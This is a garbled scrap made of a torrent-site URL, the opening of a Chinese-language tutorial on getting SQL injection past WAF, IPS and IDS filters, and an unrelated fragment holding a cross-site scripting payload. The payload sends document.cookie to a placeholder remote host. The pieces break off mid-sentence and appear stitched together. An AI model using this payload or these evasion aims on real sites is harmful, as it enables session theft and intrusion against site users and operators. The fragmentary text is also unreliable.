http://www.mininova.org/det/2533556
0x00前言 現在的網絡環境往往是WAF/IPS/IDS保護着Web 服務器等等，這種保護措施往往會過濾擋住我們的SQL注入查詢鏈接，甚至封鎖我們的主機IP，所以這個時候，我們就要考慮怎樣進行繞過，達到注入的目標。因爲現在WAF/IP
沒有調用遠程平臺，用web接收cookie <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script> 簡單的script鏈接遠程第
